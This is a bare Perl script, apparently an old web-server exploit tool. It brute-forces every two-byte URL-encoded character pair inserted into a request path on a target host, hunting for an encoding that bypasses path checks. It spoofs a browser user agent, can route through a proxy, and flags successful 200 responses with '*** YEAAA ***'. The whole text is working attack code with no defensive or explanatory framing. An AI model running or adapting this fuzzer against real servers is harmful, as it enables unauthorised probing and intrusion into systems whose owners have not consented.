use LWP::UserAgent;

my $one = 0;
my $two = 0;
my $m1 = 65536;
my $z = 0;

die "usage: scriptname <host and path> <follow-path> <proxy>\n" if(!$ARGV[0]);

$ua = new LWP::UserAgent;
$ua->proxy('http', "http://".$ARGV[2]) if($ARGV[2]);
$ua->agent("Mozilla/4.07 [en] (WinNT;I)");

for($one=0;$one<$m1;$one++){
$z ++;
$zet = sprintf("%05d",$z);
print $z," " if(substr($zet,3,2) == '00');
print ++$z," " if(substr($z,length($z),1) eq '0');

$string = sprintf("%04x",$one);
$xtra = "%".substr($string,0,2)."%".substr($string,2,2);
$xtra =~ s/00/01/g;

my $req = new HTTP::Request GET => "http://$ARGV[0]$xtra$ARGV[1]";
my $res = $ua->request($req);

if ($res->code() eq '200') {
print "\nhttp://$ARGV[0]$string$ARGV[1] -> ", $res->code()," *** YEAAA *** ($string)\n";
}else{
if($res->code() ne '500' && $res->code() ne '404' && $res->code() ne '400'){
print $res->code(), "-", $res->message();
}
}
}